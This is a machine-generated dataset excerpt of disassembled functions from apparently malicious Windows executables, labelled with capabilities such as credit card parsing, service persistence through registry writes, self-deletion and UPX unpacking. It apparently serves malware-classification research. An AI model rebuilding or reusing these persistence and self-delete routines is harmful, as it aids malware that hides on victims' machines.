joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407f30
Capabilities:
Get number of processors
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
dec dword [ebx + 0x14038055]
or dword [ecx - 0x42f6b], 0xc88150ff
sbb dword [eax + eax], 0

Function at 0x407f80
Capabilities:
Get number of processors
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
les ecx, [ebx - 0x10b73]
inc dword [ebx]
dec ebp
les ecx, [edi]
mov esi, 0xfd28511
test byte [eax - 0x75000000], cl
inc ebp
les ecx, [edi]
mov esi, 0xfe7c058c
invalid

Function at 0x407fb4
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
xor ecx, dword [esi + 0x3d]
xor eax, dword [ebx - 0x1c7efb3c]
fidiv word [esi]
add dword [eax], eax
call 0x407fca
add byte [edi], dh
dec esp
dec edx
inc ebx
cmp eax, 0x4c4834d
pop ebx
push ebx
or ebx, 0x11007
pop ebx
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
mov esi, 0xc44d8b02
movsx edx, byte [ebp + ecx - 0x184]
cmp eax, edx
je 0x40800f
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
xor ecx, 0x20

Function at 0x407fca
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
xor ecx, dword [esi + 0x3d]
xor eax, dword [ebx - 0x1c7efb3c]
fidiv word [esi]
add dword [eax], eax
call 0x407fca
add byte [edi], dh
dec esp
dec edx
inc ebx
cmp eax, 0x4c4834d
pop ebx
push ebx
or ebx, 0x11007
pop ebx
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
mov esi, 0xc44d8b02
movsx edx, byte [ebp + ecx - 0x184]
cmp eax, edx
je 0x40800f
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
xor ecx, 0x20
Function at 0x4080e6
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
cmp eax, dword [edx + 0x18]
jae 0x408162
push eax
sub eax, 0x11461
jmp 0x407eaf
call 0x407ebf
add byte [ebx], dh
cmp dh, byte [esi]
inc ebp
aaa
dec eax
add esp, 4
les eax, [eax + ebx*2]
push edx
or edx, 0xd2e4
sub edx, 0x13fb3
pop edx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x424]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x10c], eax
push edx
jmp 0x407ef2
xor edx, 0x1c4a
pop edx
push ebx
xor ebx, 0x6da8
add ebx, 0xaf43
and ebx, 0x167b
sub ebx, 0x3c48
pop ebx
push edi
jmp 0x407f1a
pop edi
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x42c]
dec dword [ebx + 0x14038055]
or dword [ecx - 0x42f6b], 0xc88150ff
sbb dword [eax + eax], 0
xor eax, 0x316f
or eax, 0x83b0
xor eax, 0xf40c
pop eax
push eax
push edx
add esp, 4
and eax, 0x527f
sub eax, 0x15261
sub eax, 0x141ed
pop eax
mov dword [ebp - 0x3c], 0
jmp 0x407f81
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
invalid
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
test edx, edx
je 0x40801d
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
test ecx, ecx
je 0x40801d
push ebx
call 0x407fb4
add byte [edi + edi], dh
cmp dword [edi], esi
dec edi
mov edx, dword [ebp - 0x3c]
movsx eax, byte [ebp + edx - 0x184]
cmp ecx, eax
jne 0x408016
jmp 0x407f78
jmp 0x40801d
push ecx
sub ecx, 0xb80
or byte [ebx], 0
add byte [ecx + 0x1281ce1], al
add byte [ecx + 0x57d4e1], al
add byte [ecx + 0xa121c9], al
add byte [ecx + 0x56], bl
push ecx
add esp, 4
xor esi, 0x12b3c
add esi, 0x62f8
sub esi, 0xf040
pop esi
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
mov word [0xfffffe7c], es
cmp edx, ecx
jne 0x408079
mov dword [ebp - 0x258], 0
jmp 0x408114
push edx
and edx, 0xb88b
or edx, 0x16543
sub edx, 0x39df
xor edx, 0x15aa9
pop edx
push eax
push edx
add esp, 4
add eax, 0xf04b
or eax, 0xfaa8
add eax, 0x12112
pop eax
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
or edx, 0x20
cmp eax, edx
jge 0x4080d8
mov dword [ebp - 0x258], 0xffffffff
jmp 0x408114
push eax
call 0x4080e6
add byte [ebp + 0x47], al
dec ebx
aaa
xor bh, byte [0x4c48346]
add eax, 0x8dbe
jmp 0x4080f5
xor eax, 0xfcc6
pop eax
push edx
sub edx, 0x11790
and edx, 0x105f7
pop edx
mov dword [ebp - 0x258], 1
cmp dword [ebp - 0x258], 0
jne 0x40815d
push ebx
and ebx, 0x4b19
sub ebx, 0x7f31
add ebx, 0x11657
pop ebx
push edi
or edi, 0x98ff
call 0x408145
add byte [ebp + 0x4c], cl
cmp dword [ebp + 0x46], eax
dec esi
aas
add esp, 4
or edi, 0x1548b
pop edi
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0xac], eax
jmp 0x40816e
jmp 0x407e7b
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x1bc], edx
Function at 0x408145
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
cmp eax, dword [edx + 0x18]
jae 0x408162
push eax
sub eax, 0x11461
jmp 0x407eaf
call 0x407ebf
add byte [ebx], dh
cmp dh, byte [esi]
inc ebp
aaa
dec eax
add esp, 4
les eax, [eax + ebx*2]
push edx
or edx, 0xd2e4
sub edx, 0x13fb3
pop edx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x424]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x10c], eax
push edx
jmp 0x407ef2
xor edx, 0x1c4a
pop edx
push ebx
xor ebx, 0x6da8
add ebx, 0xaf43
and ebx, 0x167b
sub ebx, 0x3c48
pop ebx
push edi
jmp 0x407f1a
pop edi
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x42c]
dec dword [ebx + 0x14038055]
or dword [ecx - 0x42f6b], 0xc88150ff
sbb dword [eax + eax], 0
xor eax, 0x316f
or eax, 0x83b0
xor eax, 0xf40c
pop eax
push eax
push edx
add esp, 4
and eax, 0x527f
sub eax, 0x15261
sub eax, 0x141ed
pop eax
mov dword [ebp - 0x3c], 0
jmp 0x407f81
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
invalid
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
test edx, edx
je 0x40801d
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
test ecx, ecx
je 0x40801d
push ebx
call 0x407fb4
add byte [edi + edi], dh
cmp dword [edi], esi
dec edi
mov edx, dword [ebp - 0x3c]
movsx eax, byte [ebp + edx - 0x184]
cmp ecx, eax
jne 0x408016
jmp 0x407f78
jmp 0x40801d
push ecx
sub ecx, 0xb80
or byte [ebx], 0
add byte [ecx + 0x1281ce1], al
add byte [ecx + 0x57d4e1], al
add byte [ecx + 0xa121c9], al
add byte [ecx + 0x56], bl
push ecx
add esp, 4
xor esi, 0x12b3c
add esi, 0x62f8
sub esi, 0xf040
pop esi
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
mov word [0xfffffe7c], es
cmp edx, ecx
jne 0x408079
mov dword [ebp - 0x258], 0
jmp 0x408114
push edx
and edx, 0xb88b
or edx, 0x16543
sub edx, 0x39df
xor edx, 0x15aa9
pop edx
push eax
push edx
add esp, 4
add eax, 0xf04b
or eax, 0xfaa8
add eax, 0x12112
pop eax
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
or edx, 0x20
cmp eax, edx
jge 0x4080d8
mov dword [ebp - 0x258], 0xffffffff
jmp 0x408114
push eax
call 0x4080e6
add byte [ebp + 0x47], al
dec ebx
aaa
xor bh, byte [0x4c48346]
add eax, 0x8dbe
jmp 0x4080f5
xor eax, 0xfcc6
pop eax
push edx
sub edx, 0x11790
and edx, 0x105f7
pop edx
mov dword [ebp - 0x258], 1
cmp dword [ebp - 0x258], 0
jne 0x40815d
push ebx
and ebx, 0x4b19
sub ebx, 0x7f31
add ebx, 0x11657
pop ebx
push edi
or edi, 0x98ff
call 0x408145
add byte [ebp + 0x4c], cl
cmp dword [ebp + 0x46], eax
dec esi
aas
add esp, 4
or edi, 0x1548b
pop edi
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0xac], eax
jmp 0x40816e
jmp 0x407e7b
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x1bc], edx
Function at 0x408200
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or esi, 0xb8ec
pop esi
mov eax, dword [ebp - 0xcc]

Function at 0x408210
Capabilities:
Get number of processors
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov dword [ebp - 0x438], eax
push edx
push eax
add esp, 4
sub edx, 0xa150
jmp 0x408227
sub edx, 0x863
jmp 0x408233
pop edx
push esi
or esi, 0xe8fb
add esi, 0x152de
xor esi, 0x1e
pop esi
pushal
push esi
push edx
add esp, 4
or esi, 0x128a1
or esi, 0x3f5a
and esi, 0x17c8f
pop esi
push edx
add edx, 0xadfd
call fcn.00408277
add byte [ecx + 0x33], al
Function at 0x408a5a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and edi, 0x160d
pop edi
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0x338], ecx
cmp dword [ebp - 0x338], 0
jne 0x408aba
push esi
push edi
add esp, 4
or esi, 0x12006
pop esi
push ecx
xor ecx, 0x7c17
jmp 0x408a95
jmp 0x408a9b
call 0x408aa7
add byte [edi + 0x34], cl
xor eax, 0x83384242
les eax, [ecx + ebx*2]
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
push esi
push ecx
add esp, 4
and esi, 0x1307b
sub esi, 0x14219
or esi, 0x3dd9
and esi, 0x2f8b
pop esi
push ecx
jmp 0x408adf
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xd040
pop eax
mov edx, dword [ebp - 0x338]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x270], ecx
cmp dword [ebp - 0x270], 0
jne 0x408b48
push eax
call 0x408b17
add byte [ebx], dh
dec esi
dec esi
xor eax, 0x4d4d4338
dec esp
add esp, 4
pop eax
push esi
push edx
add esp, 4
call 0x408b2f
add byte [esi + 0x32], al
dec esp
dec edx
cmp al, 0x50
inc esi
dec esp
add esp, 4
sub esi, 0xb78c
pop esi
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0xbc], edx
push esi
push eax
add esp, 4
add esi, 0x130bc
xor esi, 0x1a10
xor esi, 0xd2ab
xor esi, 0x15055
pop esi
push edi
and edi, 0x2090
pop edi
push edi
push eax
add esp, 4
and edi, 0x15a4b
pop edi
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x268], edx
push edi
jmp 0x408ba8
sub edi, 0xc678
and edi, 0x134cc
or edi, 0x13840
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0xe7b0
and ecx, 0x15077
add ecx, 0x17422
pop ecx
xor eax, eax
mov word [ebp - 0x4c], ax
xor ecx, ecx
mov word [ebp - 0x24], cx
push edi
or edi, 0x352c
xor edi, 0x1621f
xor edi, 0x16764
add edi, 0xb2bf
pop edi
push ecx
push eax
add esp, 4
sub ecx, 0xb0fc
add ecx, 0xf70f
and ecx, 0xbcff
pop ecx
mov edx, dword [ebp - 0x268]
mov ax, word [edx]
invalid
invalid
test dword [eax], ebp
invalid
invalid
Function at 0x408aa7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and edi, 0x160d
pop edi
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0x338], ecx
cmp dword [ebp - 0x338], 0
jne 0x408aba
push esi
push edi
add esp, 4
or esi, 0x12006
pop esi
push ecx
xor ecx, 0x7c17
jmp 0x408a95
jmp 0x408a9b
call 0x408aa7
add byte [edi + 0x34], cl
xor eax, 0x83384242
les eax, [ecx + ebx*2]
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
push esi
push ecx
add esp, 4
and esi, 0x1307b
sub esi, 0x14219
or esi, 0x3dd9
and esi, 0x2f8b
pop esi
push ecx
jmp 0x408adf
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xd040
pop eax
mov edx, dword [ebp - 0x338]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x270], ecx
cmp dword [ebp - 0x270], 0
jne 0x408b48
push eax
call 0x408b17
add byte [ebx], dh
dec esi
dec esi
xor eax, 0x4d4d4338
dec esp
add esp, 4
pop eax
push esi
push edx
add esp, 4
call 0x408b2f
add byte [esi + 0x32], al
dec esp
dec edx
cmp al, 0x50
inc esi
dec esp
add esp, 4
sub esi, 0xb78c
pop esi
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0xbc], edx
push esi
push eax
add esp, 4
add esi, 0x130bc
xor esi, 0x1a10
xor esi, 0xd2ab
xor esi, 0x15055
pop esi
push edi
and edi, 0x2090
pop edi
push edi
push eax
add esp, 4
and edi, 0x15a4b
pop edi
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x268], edx
push edi
jmp 0x408ba8
sub edi, 0xc678
and edi, 0x134cc
or edi, 0x13840
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0xe7b0
and ecx, 0x15077
add ecx, 0x17422
pop ecx
xor eax, eax
mov word [ebp - 0x4c], ax
xor ecx, ecx
mov word [ebp - 0x24], cx
push edi
or edi, 0x352c
xor edi, 0x1621f
xor edi, 0x16764
add edi, 0xb2bf
pop edi
push ecx
push eax
add esp, 4
sub ecx, 0xb0fc
add ecx, 0xf70f
and ecx, 0xbcff
pop ecx
mov edx, dword [ebp - 0x268]
mov ax, word [edx]
invalid
invalid
test dword [eax], ebp
invalid
invalid
Function at 0x408b17
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and edi, 0x160d
pop edi
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0x338], ecx
cmp dword [ebp - 0x338], 0
jne 0x408aba
push esi
push edi
add esp, 4
or esi, 0x12006
pop esi
push ecx
xor ecx, 0x7c17
jmp 0x408a95
jmp 0x408a9b
call 0x408aa7
add byte [edi + 0x34], cl
xor eax, 0x83384242
les eax, [ecx + ebx*2]
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
push esi
push ecx
add esp, 4
and esi, 0x1307b
sub esi, 0x14219
or esi, 0x3dd9
and esi, 0x2f8b
pop esi
push ecx
jmp 0x408adf
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xd040
pop eax
mov edx, dword [ebp - 0x338]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x270], ecx
cmp dword [ebp - 0x270], 0
jne 0x408b48
push eax
call 0x408b17
add byte [ebx], dh
dec esi
dec esi
xor eax, 0x4d4d4338
dec esp
add esp, 4
pop eax
push esi
push edx
add esp, 4
call 0x408b2f
add byte [esi + 0x32], al
dec esp
dec edx
cmp al, 0x50
inc esi
dec esp
add esp, 4
sub esi, 0xb78c
pop esi
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0xbc], edx
push esi
push eax
add esp, 4
add esi, 0x130bc
xor esi, 0x1a10
xor esi, 0xd2ab
xor esi, 0x15055
pop esi
push edi
and edi, 0x2090
pop edi
push edi
push eax
add esp, 4
and edi, 0x15a4b
pop edi
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x268], edx
push edi
jmp 0x408ba8
sub edi, 0xc678
and edi, 0x134cc
or edi, 0x13840
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0xe7b0
and ecx, 0x15077
add ecx, 0x17422
pop ecx
xor eax, eax
mov word [ebp - 0x4c], ax
xor ecx, ecx
mov word [ebp - 0x24], cx
push edi
or edi, 0x352c
xor edi, 0x1621f
xor edi, 0x16764
add edi, 0xb2bf
pop edi
push ecx
push eax
add esp, 4
sub ecx, 0xb0fc
add ecx, 0xf70f
and ecx, 0xbcff
pop ecx
mov edx, dword [ebp - 0x268]
mov ax, word [edx]
invalid
invalid
test dword [eax], ebp
invalid
invalid
Function at 0x408b2f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and edi, 0x160d
pop edi
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0x338], ecx
cmp dword [ebp - 0x338], 0
jne 0x408aba
push esi
push edi
add esp, 4
or esi, 0x12006
pop esi
push ecx
xor ecx, 0x7c17
jmp 0x408a95
jmp 0x408a9b
call 0x408aa7
add byte [edi + 0x34], cl
xor eax, 0x83384242
les eax, [ecx + ebx*2]
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
push esi
push ecx
add esp, 4
and esi, 0x1307b
sub esi, 0x14219
or esi, 0x3dd9
and esi, 0x2f8b
pop esi
push ecx
jmp 0x408adf
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xd040
pop eax
mov edx, dword [ebp - 0x338]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x270], ecx
cmp dword [ebp - 0x270], 0
jne 0x408b48
push eax
call 0x408b17
add byte [ebx], dh
dec esi
dec esi
xor eax, 0x4d4d4338
dec esp
add esp, 4
pop eax
push esi
push edx
add esp, 4
call 0x408b2f
add byte [esi + 0x32], al
dec esp
dec edx
cmp al, 0x50
inc esi
dec esp
add esp, 4
sub esi, 0xb78c
pop esi
mov dword [ebp - 0xd0], 0
jmp 0x408e4f
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0xbc], edx
push esi
push eax
add esp, 4
add esi, 0x130bc
xor esi, 0x1a10
xor esi, 0xd2ab
xor esi, 0x15055
pop esi
push edi
and edi, 0x2090
pop edi
push edi
push eax
add esp, 4
and edi, 0x15a4b
pop edi
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x268], edx
push edi
jmp 0x408ba8
sub edi, 0xc678
and edi, 0x134cc
or edi, 0x13840
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0xe7b0
and ecx, 0x15077
add ecx, 0x17422
pop ecx
xor eax, eax
mov word [ebp - 0x4c], ax
xor ecx, ecx
mov word [ebp - 0x24], cx
push edi
or edi, 0x352c
xor edi, 0x1621f
xor edi, 0x16764
add edi, 0xb2bf
pop edi
push ecx
push eax
add esp, 4
sub ecx, 0xb0fc
add ecx, 0xf70f
and ecx, 0xbcff
pop ecx
mov edx, dword [ebp - 0x268]
mov ax, word [edx]
invalid
invalid
test dword [eax], ebp
invalid
invalid
Function at 0x4093ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edi
mov edx, dword [ebp - 0x458]
mov dword [ebp - 0x90], edx
jmp 0x409410
Function at 0x401260
Capabilities:
Delete registry value
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x402816
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x90
push esi
push edi
push str._SystemRoot_System32_
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0xc]
push str.StormServer.dll
lea ecx, [esp + 0x18]
push eax
push ecx
mov dword [esp + 0xac], 0
call sub.MFC42.DLL_operator
push 0x4044f0
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0xac], 1
call sub.MFC42.DLL_operator
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.00402600
lea ecx, [esp + 0x14]
mov byte [esp + 0xa0], 0
call fcn.00402600
lea ecx, [esp + 8]
push ecx
push 0x404340
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 8]
push 0x404334
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x18]
push 0x80
push eax
push 2
push 0
push 0x404334
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x32
call dword [0x403094]
lea ecx, [esp + 0xc]
mov dword [esp + 0xa0], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x98]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x9c
ret
Function at 0x401390
Capabilities:
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x4014fd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [0x403064]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [0x403084]
push eax
call esi
mov ebp, dword [0x403088]
push 0xf
call ebp
mov edi, dword [0x40308c]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [0x40309c]
test eax, eax
je 0x4014ef
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x403090]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0xab8eb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x46b000]
push edi
jmp 0xab8eca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xab8ed1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xab8ec0
mov eax, 1
add ebx, ebx
jne 0xab8ee3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xab8ef4
jne 0xab8f13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xab8f13
dec eax
add ebx, ebx
jne 0xab8f00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xab8ed8
add ebx, ebx
jne 0xab8f0f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xab8f65
xor ecx, ecx
sub eax, 3
jb 0xab8f2b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xab8f9a
sar eax, 1
mov ebp, eax
jmp 0xab8f36
add ebx, ebx
jne 0xab8f36
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xab8f04
inc ecx
add ebx, ebx
jne 0xab8f44
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xab8f04
add ebx, ebx
jne 0xab8f51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xab8f46
jne 0xab8f62
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xab8f46
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xab8f84
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xab8f76
jmp 0xab8ec6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xab8f84
add edi, ecx
jmp 0xab8ec6
pop esi
mov edi, esi
mov ecx, 0xd6c1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xab8fa2
cmp byte [edi], 0x3d
jne 0xab8fa2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xab8fa7
lea edi, [esi + 0x6b4000]
mov eax, dword [edi]
or eax, eax
je 0xab901f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6e1e10]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6e1fac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xab8fd4
mov ecx, edi
jns 0xab9003
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6e1fb4]
or eax, eax
je 0xab9019
mov dword [ebx], eax
add ebx, 4
jmp 0xab8ff1
call dword [esi + 0x6e1fb0]
mov ebp, dword [esi + 0x6e1fb8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x6b907a]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xab906b
sub esp, 0xffffff80
jmp 0x599f84